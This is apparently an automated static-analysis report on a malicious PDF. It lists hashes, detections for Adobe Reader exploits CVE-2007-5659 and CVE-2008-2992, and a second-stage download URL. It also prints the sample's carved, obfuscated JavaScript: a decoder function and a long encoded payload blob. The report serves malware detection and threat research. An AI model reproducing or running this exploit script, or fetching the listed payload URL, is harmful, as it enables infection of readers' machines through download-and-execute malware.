Malicious PDF — malware analysis report

Static analysis result for SHA-256 051ed031efb46dd7…

MALICIOUS

PDF

17.8 KB Created: 2009-08-02 06:39:28 Authoring application: sZ5clO (via EGDUyjg05jg) First seen: 2013-08-20
MD5: f9e13788f161b02d283501f121c66ea9 SHA-1: 9e79e8eea2b15c9285bf24fc31798212a0ee1486 SHA-256: 051ed031efb46dd75daa90f2ce842a395ec3d4038ee90bf10e20d9d2b8c47782
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits multiple Adobe Reader vulnerabilities, specifically CVE-2007-5659 and CVE-2008-2992. The script decodes a payload and attempts to download a second-stage executable from the URL http://grasma.com/spl6/load.php. The ML classifier and ClamAV detection strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(YTqIRk2Harz8Ua);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x22E 16885 bytes
SHA-256: ed1553195b5c8de5893f296ff86b045f7a5cc3d8aec487d0987190cca041b27b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 13 of 25 identifiers look randomly generated (e.g. 'Wm5WdVkzUnBiMjRnVm5Sd09UbHlZM2gxU1ZONktI') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var I9g087nqwvW="";
                                var YTqIRk2Harz8Ua="";
                                function IJge1pL( piqjZQYrx0XN6 ) {
                                    var LRxnOtJZsmPBEA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var Ck6UsZ6LqP, jPrqZoIWb, lvFJifVwq, WanxTN3oD, TnTBkJuDuiA, DDCJe, SVnbv, OsV1FaowO, m0b3MV = xtqk60P0Bu = 0, SpJFioGyP5un = "", osLfcRp2b2wYo = [];
                                    piqjZQYrx0XN6 += "";
                                    do {
                                        WanxTN3oD = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        TnTBkJuDuiA = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        DDCJe = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        SVnbv = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        OsV1FaowO = WanxTN3oD<<18 | TnTBkJuDuiA<<12 | DDCJe<<6 | SVnbv;
                                        Ck6UsZ6LqP = OsV1FaowO>>16 & 0xff;
                                        jPrqZoIWb = OsV1FaowO>>8 & 0xff;
                                        lvFJifVwq = OsV1FaowO & 0xff;
                                        if (DDCJe == 64) {
                                            osLfcRp2b2wYo[xtqk60P0Bu++] = String.fromCharCode(Ck6UsZ6LqP);
                                        } else if (SVnbv == 64) {
                                            osLfcRp2b2wYo[xtqk60P0Bu++] = String.fromCharCode(Ck6UsZ6LqP, jPrqZoIWb);
                                        } else {
                                            osLfcRp2b2wYo[xtqk60P0Bu++] = String.fromCharCode(Ck6UsZ6LqP, jPrqZoIWb, lvFJifVwq);
                                        }
                                    } while (m0b3MV < piqjZQYrx0XN6.length);
                                    SpJFioGyP5un = osLfcRp2b2wYo.join("");
                                    SpJFioGyP5un = Xxx6K(SpJFioGyP5un);
                                    return SpJFioGyP5un;
                                }
                                function Xxx6K ( Ck6UsZ6LqP ) {
                                    var jPrqZoIWb = [], lvFJifVwq = WanxTN3oD = piqjZQYrx0XN6 = TnTBkJuDuiA = DDCJe = 0;
                                    Ck6UsZ6LqP += "";
                                    while ( lvFJifVwq < Ck6UsZ6LqP.length ) {
                                        piqjZQYrx0XN6 = Ck6UsZ6LqP.charCodeAt(lvFJifVwq);
                                        if (piqjZQYrx0XN6 < 128) {
                                            jPrqZoIWb[WanxTN3oD++] = String.fromCharCode(piqjZQYrx0XN6);
                                            lvFJifVwq++;
                                        } else if ((piqjZQYrx0XN6 > 191) && (piqjZQYrx0XN6 < 224)) {
                                            TnTBkJuDuiA = Ck6UsZ6LqP.charCodeAt(lvFJifVwq+1);
                                            jPrqZoIWb[WanxTN3oD++] = String.fromCharCode(((piqjZQYrx0XN6 & 31) << 6) | (TnTBkJuDuiA & 63));
                                            lvFJifVwq += 2;
                                        } else {
                                            TnTBkJuDuiA = Ck6UsZ6LqP.charCodeAt(lvFJifVwq+1);
                                            DDCJe = Ck6UsZ6LqP.charCodeAt(lvFJifVwq+2);
                                            jPrqZoIWb[WanxTN3oD++] = String.fromCharCode(((piqjZQYrx0XN6 & 15) << 12) | ((TnTBkJuDuiA & 63) << 6) | (DDCJe & 63));
                                            lvFJifVwq += 3;
                                        }
                                    }
                                    return jPrqZoIWb.join("");
                                }

                I9g087nqwvW= IJge1pL("Wm5WdVkzUnBiMjRnVm5Sd09UbHlZM2gxU1ZONktIWnBjVGhuUkRWM1prcDVLWHNnY21WMGRYSnVJRk4wY21sdVoxc25abkp2YlVOb1lYSkRiMlJsSjEwb2RtbHhPR2RFTlhkbVNua3BPMzBnWm5WdVkzUnBiMjRnUkdGTVZEQnFZMnBNZUhoV2NTaHdNVTlGWm1OVWVHNXBOVU5RU2lsN0lIWmhjaUJyUmpKRlVISjJOM005TUN3Z2RWbGphblEzUFhBeFQwVm1ZMVI0Ym1rMVExQktMbXhsYm1kMGFDd2dRbWxqZUdkYVZGaGtUMWs5TVRBeU5Dd2dXVVJtTjBKVGIwWm1SRmtzSUhZM05qY3hRM3BqTENCMllXSkNORGx3VTJoeU5UMG5KeXdnWlVJMmVucE1aVVIxT0QxclJqSkZVSEoyTjNNc0lHcEVaekpRUFd0R01rVlFjblkzY3l3Z1NVdElSWGRVU1RaSmJHMDlhMFl5UlZCeWRqZHpMQ0JEWjJneWJXY3hPRXhGTTFSd1BVRnljbUY1S0RZekxEUXhMRFl3TERJM0xEUTVMRFl4TERRNExERXdMRGtzTkN3d0xEQXNNQ3d3TERBc01DdzFOQ3d4T1N3eExERXhMRGdzTVRVc05EY3NOVFlzTlRrc01qRXNORFlzTlRnc05UY3NNalFzTWpNc05UQXNNemtzTXpNc05EUXNOVE1zTVRRc055d3hOaXd4TWl3ek9Dd3lNQ3cxTERBc01Dd3dMREFzTXl3d0xESXlMRFF6TERJNExEWXNNVGNzTVRnc05qSXNNelVzTXpRc016SXNOVFVzTWl3eE15d3lOU3d5Tml3ME1pd3pNU3d6TUN3MU1TdzBNQ3cxTWl3ek55d3pOaXd5T1N3ME5Td3dLVHNnWm05eUtIWTNOamN4UTNwalBVMWhkR2d1WTJWcGJDaDFXV05xZERjdlFtbGplR2RhVkZoa1Qxa3BPM1kzTmpjeFEzcGpQbXRHTWtWUWNuWTNjenQyTnpZM01VTjZZeTB0S1hzZ1ptOXlLRmxFWmpkQ1UyOUdaa1JaUFUxaGRHZ3ViV2x1S0hWWlkycDBOeXhDYVdONFoxcFVXR1JQV1NrN1dVUm1OMEpUYjBabVJGaythMFl5UlZCeWRqZHpPMWxFWmpkQ1UyOUdaa1JaTFMwc2RWbGphblEzTFMwcGV5QkpTMGhGZDFSSk5rbHNiWHc5S0VObmFESnRaekU0VEVVelZIQmJjREZQUldaalZIaHVhVFZEVUVvdVkyaGhja052WkdWQmRDaGxRalo2ZWt4bFJIVTRLeXNwTFRRNFhTazhQR3BFWnpKUU95QnBaaWhxUkdjeVVDbDdJSFpoWWtJME9YQlRhSEkxS3oxV2RIQTVPWEpqZUhWSlUzb29OalZlU1V0SVJYZFVTVFpKYkcwbU1qVTFLVHNnU1V0SVJYZFVTVFpKYkcwK1BqMDRPeUJxUkdjeVVDMDlNanNnZlNCbGJITmxJSHNnYWtSbk1sQTlOanNnZlNCOUlIMGdaWFpoYkNoMllXSkNORGx3VTJoeU5TazdJSDBnUkdGTVZEQnFZMnBNZUhoV2NTZ25hbGMyVjFOcVRuaEtObFZ0UmxacFYybDZabGQzZDBCTmQyVkJlRTlKVUdOM1pVRjRUMGxRWTNkbFFYaFBTVkJqZDJWQlkxVldObnAzWldoalQyVnJlbmRsYzNock9IcHlkMlZCY2pSdGVuSjNaVUZ5TkZwVlkzZGxYMEpWUkZCamQyVmZRbk5KVUdOM1pWOUNYMk42ZW5kbFgwSk1XbFY0ZDJWelFsVldhbnAzWlhOQ1ZXTTJRbmRsUVhKZlRXdENkMlZCUWxWWlZVSjNaVjlDVlZZMlFuZGxjM2hUWlRaQ2QyVmZRazlDTmtKM1pWOXlWV05PZUhkbFFYaHplR3BqZDJWZmNsVmpUbmgzWlhONE9WWnFlSGRsWDBKVk9WQmpkMlZmUWxWV05ucDNaWE40VTJVMlFuZGxjM3BIV2xCamQyVnplRFoyVUhoM1pWOUNOa0o2WTNkbFFXTkFXbEJqZDJWZlFsVjZWV04zWlY5Q1ZWWTJRbmRsWDNwNlkydDRkMlZ6ZWtkbE5ucDNaV2g0UUhaUWVIZGxjM2gxUWxWamQyVkJZMEJsZW1OM1pWOUNWWHByUW5kbFgwSlZWalpDZDJWZmVucGphM2gzWlhONlIyVnFlSGRsYUhwNmQxQjRkMlZmWXpSbGEwSjNaVUZqUUcxT1FuZGxYMEpWT1U1Q2QyVmZRbFZXTmtKM1pWOTZlbU5yZUhkbGMzcEhaV3BqZDJWQll6UjJVSGgzWlVGalZWZFZZM2RsUVdOQWRtdENkMlZmUWxWRWEzcDNaVjlDVlZZMlFuZGxYM3A2WTJ0NGQyVnpla2Q0TmtKM1pYTmpPWGRRZUhkbFFXTjZhbXQ0ZDJWQlkwQmxVSGgzWlY5Q1ZWZFZjbmRsWDBKVlZqWkNkMlZmZW5wamEzaDNaVjk2VldNMmVuZGxRVUpBZUd0Q2QyVmZjbnBYVUhwM1pYTjRhMEpWZUhkbGMwSkFRbnA2ZDJWZlFreGFhM2gzWlY5Q1ZWWjZRbmRsYzNvMlpUWkNkMlZmY25wamEzaDNaWE40VXpnMmVuZGxYMEpmZW5wNmQyVmZRamwzVlhoM1pYTjRVMjAyZUhkbGMwSkFiWHA2ZDJWQlkwQnRlbkozWlY5Q1ZXTk9lSGRsWDBKVlZqWkNkMlZCY2tCdE5rSjNaWE5DZFVsNmNuZGxYM0pWUkZaamQyVm9lRXhhVUhoM1pWOUNWVlkyUW5kbGMzaHJaVFpDZDJWelFrOUNlbnAzWlhOamVtTk9lSGRsYzJOVlkxQjZkMlZ6ZUd0dE5rSjNaV2g2VlhwNmVuZGxYMk0wZGxCNGQyVmZRbFZXTmtKM1pYTjZWVlkyUW5kbFgzcDZZMDU0ZDJWQmNuVjRObnAzWlhONmEyVldRbmRsYzNwNlkwNTRkMlZCWTBCNGFuaDNaVjlDVlhkVlFuZGxYMEpWVmpaQ2QyVmZlbnBXYW5wM1pYTmpURGcyUW5kbGMzcFBaVFpDZDJWb2VqWlJWV04zWlhOalRIWlZlbmRsWDBKZmVqWkNkMlZCY25wcVVIaDNaVjlDVlZZMlFuZGxYM0o2ZWs1amQyVnplRk00TmtKM1pWOUNUMEo2ZW5kbFgwSTVkMVY0ZDJWemVGTnRObmgzWlhOQ1FHMTZlbmRsWDNwVk9WQjRkMlZmUWxWV05rSjNaVUZ5ZFdVMlFuZGxjM3BBWlZaeWQyVmZlbnBXYW5wM1pVRkNiRVEyZW5kbGMzcHNSRTU0ZDJWZll6UnRhbnAzWldoNlZXcFZlbmRsYzNwc1Z6WkNkMlZmZW5walRuaDNaVUZ5ZFhocVkzZGxjM3ByWlhwNmQyVnplbnBqVG5oM1pVRmpRSGhxZUhkbFgwSlZSR3A2ZDJWZlFsVldOa0ozWlY5Q1ZYZFZlSGRsWDNKNmVrNWpkMlZ6ZUZNNE5rSjNaVjlDUUVKNmVuZGxYMEphZDFWNGQyVnplRk50Tm5oM1pYTkNRRzE2ZW5kbGMwSlZPVkI0ZDJWZlFsVldOa0ozWlVGeWRXVTJRbmRsYzNoVFFrNWpkMlZ6UWxWNmVucDNaVjlDT1hkVmVIZGxjM2hUYlRaNGQyVnpRa0J0ZW5wM1pWOUNWVGxRZUhkbFgwSlZWalpDZDJWZmVqbFdOa0ozWlhONldsZFdlSGRsUVdNNVZtcDZkMlZCWXpsV2FucDNaVUZqT1ZacWVuZGxRV001Vm1wNmQyVkJZMDk0VUhwM1pYTjZkV1UyZW5kbGMzaFRiV3A2ZDJWQlkxcEVWWGgzWlhONlducE9jbmRsUVdOVmVrNWpkMlZ6ZUZOdGVucDNaWE40VTFwUVkzZGxYMEpBVVd0amQyVnplbk40VG5oM1pYTjZSMlZxWTNkbFgzSnNZMDU0ZDJWemVGTkphbU4zWlhOQ05sRnJlbmRsWDBKc2FsQjRkMlZ6ZWtkQ1VIcDNaVjl5UjNoT2VIZGxYMEpzUkRaQ2QyVkJRbXg2VUhwM1pWOTZhMjFyZUhkbFFYaHpRbnBDZDJWelkyeFdhbnAzWlVGQ2JGZDZjbmRsWDBJMFFsVnlkMlZ6UWxWV1ZXTjNaVjlqV2xsNmVIZGxYMEpBVVd0NmQyVnpZelp0VlVKM1pWOUNiRlkyWTNkbFgzcFZlazVDZDJWZll6azVUbmgzWlY5ak5rbFdlSGRsWDNKNlYzcGpkMlZ6ZW5WYVZYcDNaVUZqVTNoT2VIZGxjM3AxZUU1NGQyVmZRbXhFTm5wM1pVRnlSemhyWTNkbFgwSlBlRTU0ZDJWemVGTkNWbmgzWlhOQ1QyMTZlSGRsYUdOelpXcDZkMlZmUWw5alRuaDNaVjlDYkdOT2VIZGxjM28yYlZWNmQyVnpZMXBYTm1OM1pWOUNWVlpxZUhkbFgyTmZPVkI0ZDJWZll6UkNWV04zWlhONmVucE9ZM2RsWDNwUGJWWkNkMlZmZWpSQ05tTjNaVjlDVlhwNlkzZGxhSGhUZUU1eWQyVm9lRFJ1VG5oM1pYTmpWVVJWZW5kbGMzaEFiV3RDZDJWemVEWnVhMk4zWlhONFdrMVFZM2RsYzJNNVkxVmpkMlZ6ZUZWalVHTjNaWE5qVldOT1FuZGxhSGcwYmxCamQyVm9ZMnQ0VUhwM1pYTjRiRmRyUW5kbGMzZzJlR3RDZDJWell6bGpUbmgzWlhONFRHNU9ZM2RsUVdNMGJrNWphRkZZY2xGNFgwUnpPV0U0VEhkNk9GTmxORmRUWldWYVRIWlZSRGsyVlcxR1ZtbFhhWHBtVjNkM1FFMTNaVUZqZWpsVmVuZGxRV042T1ZWNmFGRlljbXQ2VDFkUk5XeERNbTFPWTB0NFgwUnpPVUE0V0RaclExSjBaRVJmVjBGdFIwbFFRMFpUYkRoR1RXWnRNWFJRYlRGcVprTjNkMkU0VEhkNk9GTmxORmRUWldWYVRIWlZSRGt5WVVOM01tazRVM2RtY1ZCTmJHOTJkMEZzZDFsVlduTlpWVnBKZDA1eWFsWnFiekpKWmxRNFZtWjRXVmRCZUZsWlpYSk1RbXhDUzNoZlJITTVRRU5TVjA5WE1rbG1WRGhXWm5oWlYwRjRXVmxsY2t4Q2JFSkdPRjl0YUVSQmJYTnFUME5ZZDJGamVYaHBPSFF4YTIxcVYwRk5UMWxmTjFnMlRqaE1kM280VTJVMFYxTmxaVnBNZGxWRU9USllWM1ZYYVZkVFYxODNSazFtYnpSVFlUaE1kM280VTJVMFYxTmxaVnBNZGxWRU9USmhRM2N5YVRoVGQyd3pVRTFzYjB0dVFUZDBkV3c0TVRoQmJYUk5Uek41Vms5RFdGbEJOM0I0YVRnMVdrNVVhMXBPWXpSYVZXOVBXVjgzV0RaUVYxTnFhVGh3T0VGdGRFMXBiMFkyVDBSemRHdHRhbGRCVFdwWGMxZFNObXREZDAxQlRYcFhjMWRxYWtGdmRERnJPRXBYUVc5MFVsOXhOREZWTjBoMVZXTnpXazVqUzFGUFZIQXhaRzlMZWs5WGN6WnBaSFJTWDFVeU9FRnRkRTFwYjJwWE5sZFRhazU0U2paemJXcFhRVTFzZDFCdFRIaHJZekp0WkdOelVXdE5jRzFrY2tkUlZYSkhVVlZ5UjIxWWIyaFJWWEpIVVZWeWFERkFUVWRSVlhKSGJWaHZhSFpPY2t4MlRuSk1kbXROY0cxaGNreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJhMDF3YldGeVRIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWJWaHZhSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNYlZodmFIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaT2NreDJUbkpNZGs1eVRIWk9ja3gyVG5KTWRrNXlhREZBVFV4MlRuSk1kazV5VEhaT2NreDJUbkpNYlZodmFIWk9ja3gyVG5KTWRrNXlUSFpPY2t4MlRuSk1kazV5VEhaclRYQnRZWEpNZGs1eVRIWk9ja3gyVG5KTWRrNXlURzFZY25WWlh6ZDVNbUZYYzJwUFExTmpabTlvWldGNGRWcE9ZelI0VDAxNU9GWnlRSGRyZUhOUldISlFWbk5EYVZsZk4wb3laazFWVFVFNGVsbFZOMTkzWkc5Uk1VRk5hM3BQVjFGNVpXTlVkV3A2VDFrMlFrVk5UMTlSTkU1TlJsWnBiVkZDTmxkemVteFVNVkZZY2xGNGJHMUdSR1p0ZEVkUFExRnVhRVJUYmpSRGEzcGxiM05XTmpsYVYzcDRWR00yUTJvMmVscGlkR1l6VVZGQk9IVTRlbU53ZWs5YWN6ZzJaRTFTWDFwMFdsaFVVVzVCTjNSMWJEaFJka0JYT1ZkbFFsOVdVRjlWTW14RVYxWTBOM0F5WVVOM01tazRVM2RQYjNOVFZWUjJWbEI2TmpGc1JFNVhVSG96YWpSVVdXcFlWSE5XTmpsYVYzcDRWR00yUTJvMmVscGlkR1pOY0RST1RYTldOamxhVjNwNFZHTTJRMm8yZWxwaWRHbHlNamxBVnpsWFpVSmZWbEJmVlRKc1JGZFdORGR3T1dSeFVXMWZRa0ZaTm5wMVREWkNSbnBzWDFsU2FUZEdPRjl0YUVSQmJYTnFUME5ZZDJGamVWRkJPSFU0ZW1Od2VrOWFjemcyWkUxU1gxcEtiVlZ2UzFwQVYzZFpYMjF6TW1aTmMxWTJPVnBYZW5oVVl6WkRhalo2V21KMGFYSlJORUZOVUZaelEybFpYemRLTW1aTlVsbGxRa1YzYVY5bVkwNDRWV05QVkhBNVpXOTBXbGhVVVhoZlJITTVRRGx0TW5vNFRVZFdPVWRKY3psUk5FNU5OSFpCWTJrNVVFUTBPR1pqYVhST1RXdDZUMWRSYmpaVU4zZEJWR1I2UW5wM09XUnhVV1Z6UTNkRWFFUnFPVjg0TVcxa2JuVlpVR05UT0ZWdWRWbFFZMU00Vlc1MVdWQmpVemhWYm5VNWEwSTVWM3B1ZFVSUVkzVnRlbTUxWTJ0NGJHcFZiblYzVG1OZmFsVnVkWGRPWXpSQ1ZXNTFWalpDVHpoVmJuVldObU5UT0ZWdWRWWTJlbFY2ZW01MVZsWnlOR1ZWYm5Wak5rSTVSSHB1ZFdNMlFsVmplbTUxZDJ0NlFIaDZiblZaTmtKVFpYcHVkVlkyUWpsamVtNTFZMDU0T1dONmJuVldhbU42WTNwdWRXcHJRbXRKVlc1MVdXdGpWVVJWYm5WcWEwSnJTVlZ1ZFdOVlFqbE5WVzUxVmpaQ05EaFZiblZXTmtJNVYzcHVkV05PZURsamVtNTFWM3B5TkRoVmJuVmpWV05NYmxWdWRWWjZZM3A2Vlc1MU9WQjRORGhWYm5WV05rSTJRbFZ1ZFZZMlFqbGplbTUxZW5wNmEzaFZiblZYZW5JNVYzcHVkVTFRZUV4dVZXNTFZMVY0TmtKVmJuVTVVSGc1ZWxWdWRWWTJRalo0ZW01MVZqWkNPV042Ym5WNmVucHJlRlZ1ZFZkNmNqbE5WVzUxUkhwNlRHNVZiblY2VG1OMWVIcHVkVGxRZUhOSmVtNTFWalpDTkVsNmJuVldOa0k1WTNwdWRYcDZlbXQ0Vlc1MVYzcHlPVVJWYm5VNVRtTk1ibFZ1ZFRsclFuTkNWVzUxT1ZCNFRIaDZiblZXTmtKUGJYcHVkVlkyUWpsamVtNTFlbnA2YTNoVmJuVlhlbkpWWTNwdWRWZFZRa3h1Vlc1MU9WVjZSM2hWYm5VNVVIaDFibFZ1ZFZZMlFuTlJWVzUxVmpaQ09XTjZiblY2ZW5wcmVGVnVkWG8yUWxWWGVtNTFXV3A0YTNoNmJuVnFWWHB6T0hwdWRXTnJlRFpsVlc1MVkycDRlbnA2Ym5WV1ZuSTBlRlZ1ZFZZMlFqbFdlbTUxVjNwak9XTjZiblZxVlhwcmVGVnVkV05PZUd4WGVtNTFWalo2ZW5wNmJuVldla0pNWlZWdWRXTk9lRjlqVlc1MVkycDRYM3A2Ym5VNVVIaGZhbFZ1ZFZZMlFtdEpWVzUxVmpaQ09XTjZiblYzVUhoZlkzcHVkV042ZUZwcVZXNTFhbXRDYkRsVmJuVk5UbkkwYmxWdWRWWTJRamxqZW01MVkydDRPV042Ym5WamFtTjZlbnB1ZFZkVmVtdEpWVzUxVjJ0Q2F6aDZiblZqYTNoZlkzcHVkVVEyUW5wNmVtNTFlazVqVEc1VmJuVldOa0k1WTNwdWRWYzJRamxqZW01MWVucDZhMGxWYm5WM1ZYaFZWM3B1ZFZjMmVEbFplbTUxVjNwNmEwbFZiblU1VUhoVlRWVnVkVlkyUWt4bGVtNTFWalpDT1dONmJuVjZlbm81UkhwdWRWZE9jbXhqZW01MVYycGpPV042Ym5WRWVtTkhRbFZ1ZFZkT2NreENlbTUxVmpaNmVtTjZiblYzVlhwSGJsVnVkVlkyUWpsamVtNTFhbFY2TmxwVmJuVmpUbmhzWTNwdWRWWnFZM3A2ZW01MVZucENUR1ZWYm5WalRuaGZZMVZ1ZFdOcWVGOTZlbTUxZWpaQ05HNVZiblZXTmtJNVkzcHVkWGRWZURsamVtNTFWMnA0T1hkVmJuVjZlbm81UkhwdWRWbHFlbXhYZW01MVYycDZUMGxWYm5WNlRtTmZSSHB1ZFVRMlFrZENlbTUxVjJwNlgyTjZiblY2ZW5wclNWVnVkWGRWZUZWRVZXNTFWelo0T1hwNmJuVlhlbnByU1ZWdWRUbFFlRlZOVlc1MVZqWkNiRVI2Ym5WV05rSTVZM3B1ZFZZMlFreGxWVzUxYWxWNk5scFZiblZqVG5oc1kzcHVkVlpxZUhwNmVtNTFWbFpDVEdWVmJuVmpUbmhmWTFWdWRXTnFlRjk2ZW01MVl6WkNORzVWYm5WV05rSTVZM3B1ZFhkVmVEbGplbTUxWTA1NE5scFZiblZqTmtKNmVucHVkVlo2UWt4bFZXNTFZMDU0WDJOVmJuVmphbmhmZW5wdWRWWTJRalJ1Vlc1MVZqWkNPV042Ym5WNmVrSTVZM3B1ZFZkV1FsOVpWVzUxT1ZWQ09VUjZiblU1VlVJNVJIcHVkVGxWUWpsRWVtNTFPVlZDT1VSNmJuVTVVR05yT0hwdWRWZDZlRGxYZW01MVkwNTRYMFI2Ym5VNVRrSlBaVlZ1ZFZkV1FqWjJWVzUxT1d0Q05scFZiblZqVG5oZmVucHVkV05PZURRNFZXNTFWbXA0UjIxVmJuVlhObU5yU1ZWdWRWZDZjamxFVlc1MWFsQjZhMGxWYm5WalRuaGFSRlZ1ZFdONlkwZHRlbTUxVm1wNlIyNVZiblZYZW5JMk9IcHVkV3BWY210SlZXNTFWbXA2YkdONmJuVlphbm8yT0hwdWRYbzJlSE40Vlc1MVdXdGplbFo2Ym5WWFVIbzVSSHB1ZFZscWVsOXFWVzUxVmxaak5sRlZiblZqTmtKMVFsVnVkWHBPUWxwV1ZXNTFWbXA0UjIxNmJuVlhWV056WlhwdWRWWnFlamxYVlc1MWVqWkNOa2w2Ym5WNlZVSTBTVlZ1ZFhwVlkxcFpWVzUxYWxWNlgzcFZiblZYZW5nMFFucHVkVGxPZUd0SlZXNTFWM3A0YTBsVmJuVldhbnBzVjNwdWRYZFZjazl0Vlc1MVZtcGphMGxWYm5WalRuaDZXVlZ1ZFdOcVkxOVdWVzUxUkd0ak9VUjZiblZXTm5wclNWVnVkVlpxZW10SlZXNTFWM3BqYzBKNmJuVlhUa0pmVjFWdWRWWTJRamxOVlc1MWVtdDZORzVWYm5WNlRtTTJRbFZ1ZFZkNmVqWmFWVzUxZW1walgxbDZiblY2Vm1ONlYxVnVkVlkyUW5wNlZXNTFZMVZ5VDNoNmJuVkVUa0pyU1ZWdWRVMVFZM040Vlc1MVkxQjZRRnBWYm5WRVRuaFBTVFpOZERGT1RXdDZUMWRSZVRac2JVUjZOM0IxYWtSZlRXeDRVVFJPVFRSMlFYZzBXazVqTkZwUWNsRjRYMFJ6T1dRNWMxRlZiR1k1WkhGUmJqWlVOM2RCVkdSNlFucDNNbUZEZHpKcE9GTjNaazFpV2tCalMxcEFiV3BYUVUxSFdXeDRiSHBRTjJwak5HTnNVa0prU0ZabFRUSmFRR3hEZFdwNmRIUm1YMmxYYWpoMVdtUXpVWFprT1hOUlZXeG1kR0ZqVEVST2NuUXhUazFyZWs5WFVXMWZRa0ZaTm5wMVREWkNSbnBzWDFsU2FUZFJORTVOZFRKc09FOUViRVEwVm1admFHVmtiVWRhVlhJMFpXUnRSMXBWY2pSdFpHOUxXa0JYT1ZkbFFsOVdVRjlWTW14RVYxWTBOM0E1WkhGUmJtaEVVMjQwUTJ0NlpXOXpWalk1V2xkNmVGUmpOa05xTm5wYVluUm1NMUZSUVRoMU9IcGpjSHBQV25NNE5tUk5VbDlhZERGT1RXdDZUMWRST0d4RVUxbFFRMnRhWlRjNFkwSmpXa1EyT0ZFMFRrMHhiV1ZmUlZac1pGUTVRbkpUVjJWTlVscGhZMHhaVG1NMFdrNWpORkZZTTBOU1ZsOXNhbWszYlVSUGVsaFdVSEpSZUdsRGN6bGhiMnQ2VDFkUmVXbDRXa1I2WDFORWFuaEVUVjl4TkRGck4wQkphbnBYV1doNlFGRnFiVFU0YkVSVFdWQkRhMXBsTnpoalFtTmFSRFk0UzNscGVGcEVlbDlUUkdwNFJFMW9iM0JSWVUxTE9VQmtORXhXWDJ4RVFVSlZNbW80UlhRME4wQkphbnBYV1doNlFGRnFiV001WkhGUmJWOUNRVmsyZW5WTU5rSkdlbXhmV1ZKcE4xRXhZVTFr